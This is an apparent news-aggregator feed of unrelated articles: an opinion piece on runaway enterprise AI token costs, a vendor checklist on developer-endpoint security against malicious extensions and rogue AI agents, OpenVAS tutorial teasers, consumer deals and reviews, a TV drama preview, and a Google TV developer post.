<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Vulnerability Scanning with OpenVAS 9 part 2: Vulnerability Scanning]]></title>
<description><![CDATA[Is the previous tutorial Vulnerability Scanning with OpenVAS 9.0 part 1 we’ve gone through the installation process of OpenVAS on Kali Linux and the installation of the virtual appliance. In this tutorial we will learn how to configure and run a vulnerability scan. For demonstration purposes we’v...]]></description>
<link>https://tsecurity.de/de/3694244/it-security-nachrichten/vulnerability-scanning-with-openvas-9-part-2-vulnerability-scanning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694244/it-security-nachrichten/vulnerability-scanning-with-openvas-9-part-2-vulnerability-scanning/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Is the previous tutorial Vulnerability Scanning with OpenVAS 9.0 part 1 we’ve gone through the installation process of OpenVAS on Kali Linux and the installation of the virtual appliance. In this tutorial we will learn how to configure and run a vulnerability scan. For demonstration purposes we’ve also installed a virtual machine with Metasploitable 2 [...]</p>
<p>The post <a href="https://www.hackingtutorials.org/scanning-tutorials/vulnerability-scanning-openvas-9-0-part-2/">Vulnerability Scanning with OpenVAS 9 part 2: Vulnerability Scanning</a> appeared first on <a href="https://www.hackingtutorials.org/">Hacking Tutorials</a>.</p>]]></content:encoded>
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<title><![CDATA[Vulnerability Scanning with OpenVAS 9 part 1: Installation & Setup]]></title>
<description><![CDATA[A couple years ago we did a tutorial on Hacking Tutorials on how to install the popular vulnerability assessment tool OpenVAS on Kali Linux. We’ve covered the installation process on Kali Linux and running a basic scan on the Metasploitable 2 virtual machine to identify vulnerabilities. In this t...]]></description>
<link>https://tsecurity.de/de/3694245/it-security-nachrichten/vulnerability-scanning-with-openvas-9-part-1-installation-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694245/it-security-nachrichten/vulnerability-scanning-with-openvas-9-part-1-installation-setup/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A couple years ago we did a tutorial on Hacking Tutorials on how to install the popular vulnerability assessment tool OpenVAS on Kali Linux. We’ve covered the installation process on Kali Linux and running a basic scan on the Metasploitable 2 virtual machine to identify vulnerabilities. In this tutorial I want to cover more details [...]</p>
<p>The post <a href="https://www.hackingtutorials.org/scanning-tutorials/vulnerability-scanning-openvas-9-pt-1/">Vulnerability Scanning with OpenVAS 9 part 1: Installation &amp; Setup</a> appeared first on <a href="https://www.hackingtutorials.org/">Hacking Tutorials</a>.</p>]]></content:encoded>
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<title><![CDATA[Learn 25 languages with the new Rosetta Stone Sapphire for $128]]></title>
<description><![CDATA[New users can save on the latest language-learning tech with a one-year subscription to Rosetta Stone Sapphire at a big discount.
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
<link>https://tsecurity.de/de/3693960/ios-mac-os/learn-25-languages-with-the-new-rosetta-stone-sapphire-for-128/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693960/ios-mac-os/learn-25-languages-with-the-new-rosetta-stone-sapphire-for-128/</guid>
<pubDate>Sat, 25 Jul 2026 15:35:17 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="440" src="https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715-1440x812.jpg" class="attachment-large size-large wp-post-image" alt="Photo of the Rosetta Stone Sapphire app opened on a mobile phone held by hand" decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715-1440x812.jpg 1440w, https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715-400x226.jpg 400w, https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715-1536x866.jpg 1536w, https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715-350x197.jpg 350w, https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715-768x433.jpg 768w, https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715-1020x575.jpg 1020w, https://www.cultofmac.com/wp-content/uploads/2026/06/RSS-e1784931092715.jpg 1560w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>New users can save on the latest language-learning tech with a one-year subscription to Rosetta Stone Sapphire at a big discount.</p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
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<title><![CDATA[‘Agent Kim Reactivated’ Episode 10 Finale Release Date and What to Expect]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 10 will release on Saturday, July 25, 2026, bringing the Korean action drama’s first season to an end. The finale will air on SBS in South Korea before becoming available to international viewers on Netflix.



The final episode will begin at 9:45 p.m. KST, which is ...]]></description>
<link>https://tsecurity.de/de/3693855/ios-mac-os/agent-kim-reactivated-episode-10-finale-release-date-and-what-to-expect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693855/ios-mac-os/agent-kim-reactivated-episode-10-finale-release-date-and-what-to-expect/</guid>
<pubDate>Sat, 25 Jul 2026 13:19:44 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 10 will release on Saturday, July 25, 2026, bringing the Korean action drama’s first season to an end. The finale will air on SBS in South Korea before becoming available to international viewers on Netflix.



The final episode will begin at 9:45 p.m. KST, which is five minutes earlier than the show’s usual 9:50 p.m. slot. SBS has also confirmed that Episode 10 will have a slightly extended runtime, giving the series more time to resolve its remaining conflicts.



Agent Kim Reactivated Episode 10 release details




Episode: 10



Release date: Saturday, July 25, 2026



SBS broadcast time: 9:45 p.m. KST



Streaming platform: Netflix



Total episodes: 10



Genre: Action, crime, comedy and thriller




Netflix normally adds new episodes after their Korean television broadcast, although the exact arrival time can differ by country.



Where is the story heading in the finale?



Spoilers for Episode 9 follow.



Episode 9 placed Manager Kim and his allies in the middle of a dangerous extraction operation. Kim attempted to rescue Ri Eung-ryeong from North Korean agents while Han-su, Jin-cheol and Sang-a helped him enter a heavily guarded hotel.



The operation quickly fell apart after communications were cut and the building lost power. Kim and Ri Eung-ryeong were surrounded by armed agents near the loading area, leaving their escape uncertain.



Meanwhile, Ju Gang-chan’s assistant kidnapped the children of Han-su and Jin-cheol. The episode ended with both fathers learning that their families were being used against them, setting up another personal rescue mission for the finale.



Episode 10 should therefore focus on Kim escaping the hotel, protecting Min-ji and helping his friends save their children. The finale must also settle Ju Gang-chan’s fate and reveal whether Kim can finally leave his violent past behind.



How did Agent Kim’s story begin?



The series started with Kim living quietly as an office worker and raising his teenage daughter, Min-ji, after his wife’s death. His ordinary life collapsed when Min-ji disappeared, forcing him to reveal the black-ops abilities he had kept hidden for years.



As Kim searched for his daughter, the mission exposed old enemies, secret government operations and unresolved connections to North Korea. His former life gradually placed everyone around him in danger.



Agent Kim Reactivated Episode 10 now has several major storylines to complete during its extended finale. Do you expect Manager Kim and Min-ji to receive a happy ending? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[Cricut Explore 5 vs. Siser Romeo: Choosing the Right Smart Cutting Machine (2026)]]></title>
<description><![CDATA[Friendly hobby machine or serious production tool? Here’s how to know which one is for you.]]></description>
<link>https://tsecurity.de/de/3693840/it-nachrichten/cricut-explore-5-vs-siser-romeo-choosing-the-right-smart-cutting-machine-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693840/it-nachrichten/cricut-explore-5-vs-siser-romeo-choosing-the-right-smart-cutting-machine-2026/</guid>
<pubDate>Sat, 25 Jul 2026 13:13:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Friendly hobby machine or serious production tool? Here’s how to know which one is for you.]]></content:encoded>
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<title><![CDATA[The Valve Steam Machine should be the perfect 'couch gaming' PC—but after testing it out, I'm not convinced it's worth the price]]></title>
<description><![CDATA[Valve's long-awaited Steam Machine is finally here – but was it really worth the wait? I've gone hands-on to find out.]]></description>
<link>https://tsecurity.de/de/3693825/it-nachrichten/the-valve-steam-machine-should-be-the-perfect-couch-gaming-pc-but-after-testing-it-out-im-not-convinced-its-worth-the-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693825/it-nachrichten/the-valve-steam-machine-should-be-the-perfect-couch-gaming-pc-but-after-testing-it-out-im-not-convinced-its-worth-the-price/</guid>
<pubDate>Sat, 25 Jul 2026 13:03:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Valve's long-awaited Steam Machine is finally here – but was it really worth the wait? I've gone hands-on to find out.]]></content:encoded>
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<title><![CDATA[Increasing app discovery and engagement on Google TV]]></title>
<description><![CDATA[Posted by Paul Lammertsma, Developer Relations Engineer


  With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer t...]]></description>
<link>https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:47 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQn4lINBGbNGjb1HQYUpv_Z0-JdltXyHegoQ-Ukl5l9K2ef4BSjX8c_yu0EWlnHSJnia8oXZYWvMtKxCP9t9PlJmI9GFIy34UDVfMBkEIaz3KJegu0j2TsivMZZPHg9tkIlsyK4NWd0vEq5v1MfQUay8zJ9-2QgLDLBlkqYVxnY7BaYa3QBTVRE3NKxxQ/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Paul Lammertsma, Developer Relations Engineer</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUUiNUfVyqYWETmRLzZjld7Nbk0wpVVqMlxvLssfmOzHDfOKdKI8vZkXau3HMhjkOKcXpeJ-K-JkXiKTLk9tG2XH-O5xPlj-AVfQBnelPGhzkOJwhmFeB3NqVssPj4Cnq9r1ZkAHh-44z-dq71bQOpjIz_8d1VF1m2nYs6azBGxNBrM2GOXm6uGJymbKk/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUUiNUfVyqYWETmRLzZjld7Nbk0wpVVqMlxvLssfmOzHDfOKdKI8vZkXau3HMhjkOKcXpeJ-K-JkXiKTLk9tG2XH-O5xPlj-AVfQBnelPGhzkOJwhmFeB3NqVssPj4Cnq9r1ZkAHh-44z-dq71bQOpjIz_8d1VF1m2nYs6azBGxNBrM2GOXm6uGJymbKk/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><br><i><br></i><p dir="ltr"><br></p>

<p dir="ltr">
  With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer tools designed to increase the discoverability of your content and prepare your app for future TV experiences.
</p>

<h2 dir="ltr">Drive discovery and engagement with Gemini</h2>

<p dir="ltr">
  Last year, we brought our AI voice assistant, <a href="https://blog.google/products-and-platforms/platforms/google-tv/gemini-google-tv/">Gemini</a>, to our platform, so that people can easily find what to watch, learn something new on the big screen, and get everyday tasks done with just their voice.
</p>

<p dir="ltr">
  Since launch, we’ve made <a href="https://blog.google/products-and-platforms/platforms/google-tv/new-gemini-features-march-2026/">improvements</a> to how Gemini provides tailored responses to questions. Gemini shares a mix of visuals, videos, and text to help users find what they need, when they need it. For our streaming partners, Gemini is a helpful discovery engine—pulling from your app's metadata to surface your relevant content to viewers.
</p>

<div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN7u9KDZ7L8CIw5cVB_qdWf6PRcm86N8RsrlWPdEYsfwchPZwFBpMaajSqkPwXXAoBP0_v0GpQsWp4_gF_SsBC0DuZlN0qVystQ3fWmHs1qU6dKclljJaea-Phak7qEoGFiu_i3-dj0l7WmA7Tm7T2v8kERsfhKp6BCFs-7y7eSdxVWmFkpIzXYsceaJM/w640-h360/GTV%20Gemini%20-%20GOAT%20overview%20%5B10.8%20MB%5D.gif"></div>

<h2 dir="ltr">Declare support for pointing modality</h2>

<p dir="ltr">
  The TV experience that we once knew is changing. Gemini is changing the way we discover and stream content with voice, but how we use the remote is evolving, too.
</p>

<div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5hNXf8y8wwFxJAgZ0N4QwO5v6QUe7vn4Qy70-ndmo2iTye1qdhKP5WxKPJVwoPi0qdadX25BUJzxtLQZVAHXASOibVD0y3Xd_gFuOzp5GOIBwtXy_2jFa4lsTi4r1k6OzkTe5HyJGkOK-fNspRoo54mEA5IB8K4f0fVZ9UpgTWlringYByYxw3Bn_X1c/w640-h360/GTV%20Pointer%20Remote%20Demo_SHELL.gif"></div>

<p dir="ltr">
  Pointer remotes bring motion-controlled input to the big screen, unlocking faster user navigation across the Google TV Home page and within content-heavy apps. To ensure your app is ready for this shift and provides a great experience for all users, now is the time to start thinking about pointing input. Here’s how to get started:
</p>

<h4><span>1. Adapt your TV app UI Library</span></h4>
<p dir="ltr">
  You’ll need support for hover states, scrollable containers, and cursor clicks to enable pointer remote interactions for your app on Google TV. While implementation varies by UI stack, Jetpack Compose streamlines this transition, as most core components handle these multi-modal interactions natively out of the box.
</p>

<ol type="a">
  <li><strong>Hover state:</strong> Every focusable element on your screen (buttons, movie posters, setting toggles) needs a clear visual feedback mechanism for a hover state. This is often subtler than a focus state but critical for feedback.</li>
  <li><strong>Scrollable containers:</strong> Pointer remotes will also have a small circular touchpad for scrolling. Users can use this touchpad to scroll up or down, or left or right in your app. Your app will need to respond to touch events to scroll.</li>
  <li><strong>Cursor clicks:</strong> Many TV apps today expect a simple D-pad OKAY button “click.” With a pointer remote, a user may “click” on an element that’s not the D-pad focus state, but is instead from a hovered state (similar to a mouse click).</li>
</ol>

<h4><span>2. Test pointing interactions with a mouse today</span></h4>
<p dir="ltr">
  To see how your app handles hover, scroll, and clicks, simply connect a bluetooth mouse or wired mouse to your Google TV. Keep in mind that a mouse has more precise control, since users are closer to the screen and typically rest the mouse in a stable position. Pointer remotes can often be less precise, since users are sometimes 10 feet away from the screen, making rough gestures with the remote from their couch. As a TV designer or developer, you can mitigate this lack of input precision by having larger hover targets for elements.
</p>

<h4><span>3. Declare TV app support for pointer remotes on Google Play</span></h4>
<p dir="ltr">
  Finally, tell Google Play that your TV app is designed to work with a pointer. This ensures that users with pointer remotes will be able to easily find, install, and interact with your app.
</p>

<p dir="ltr">
  Within your AndroidManifest.xml, declare the meta-data tag, <span>android.software.leanback.</span><span>supports_touch</span>. This tag informs the platform that your TV app “spatially supports touch,” since pointer remotes simulate touch events from a distance.
</p>

<p dir="ltr"><strong><em>AndroidManifest.xml</em></strong></p>

<pre>&lt;manifest ...&gt;
    &lt;!-- Signal whether the app is adaptive or built just for TV --&gt;
    &lt;uses-feature android:name="android.software.leanback" android:required="true|false" /&gt;

    &lt;!-- Ensure the app can be installed on conventional TVs --&gt;
    &lt;uses-feature android:name="android.hardware.touchscreen" android:required="false" /&gt;

    &lt;!-- Signal whether the app supports pointer remotes --&gt;
    &lt;meta-data android:name="android.software.leanback.supports_touch" android:value="true|false"/&gt;

    &lt;application ...&gt;
        ...
    &lt;/application&gt;
&lt;/manifest&gt;
</pre>

<p dir="ltr"><strong>Tips:</strong></p><ul>
  <li>The <span>android.<strong>software</strong>.<strong>leanback</strong></span> feature declaration indicates that your app supports D-pad navigation and is intended for distribution only on TV devices via Google Play.</li>
  <li>The new software attribute of <span>android.software.leanback.</span><span>supports_touch</span> declares that in addition to D-pad, you have ensured that your TV app works well for pointer/cursor experiences via mouse (of today) and pointer remotes (of future).</li>
  <li>If you haven't already, now is the time to adopt <a href="https://developer.android.com/compose">Jetpack Compose</a>. Hover, scroll, and clicks are common input modalities that are supported on various form factors, and building your app with an adaptive UI framework enables code reusability and reduced maintenance.</li>
</ul>

<h2 dir="ltr">Onboard the Engage SDK</h2>
<p dir="ltr">
  The Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement.
</p>

<ul>
  <li><strong>Resumption:</strong> Partners can easily display a user's paused video within the 'Continue Watching' row from the Home page.</li>
  <li><strong>Entitlements:</strong> The Engage SDK streamlines entitlement management, which matches app content to user eligibility. Users appreciate this because they can enjoy personalized recommendations without needing to manually update all their subscription details. This allows partners to connect with users across multiple discovery points on Google TV.</li>
  <li><strong>Recommendations:</strong> The Engage SDK even highlights personalized recommendations based on content that users watched inside apps.</li>
</ul>

<p dir="ltr">
  It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. To get started, head to <a href="https://goo.gle/engage-tv">goo.gle/engage-tv</a> to learn more.
</p>

<p dir="ltr">
  We're excited to see how our latest Gemini experience and developer tools will optimize your discovery and drive user engagement on our platform.
</p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
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<title><![CDATA[Top AI on Android updates for building intelligent experiences from Google I/O ‘26]]></title>
<description><![CDATA[Posted by Jingyu Shi, Staff Developer Relations EngineerAt Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. ...]]></description>
<link>https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:43 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqtr_NVZaXiVnywBK8bKIamZw4oM3DFopMeWXl_DsHJktlRpmuCkOCQEkc85z-xJ8id7DT8ggl6OopYCndxxYb8kA2LIttV3DlL1Mzmt5OffK_Lyq1q_mxg4RdUjQ23rOyNY5N3wopBtBODH-HQsPRqBc8cS8Kw0Azhz14Jn8EjEdKQ3znXGLRVUpM_-g/s4097/Blog_Meta@2x.png">



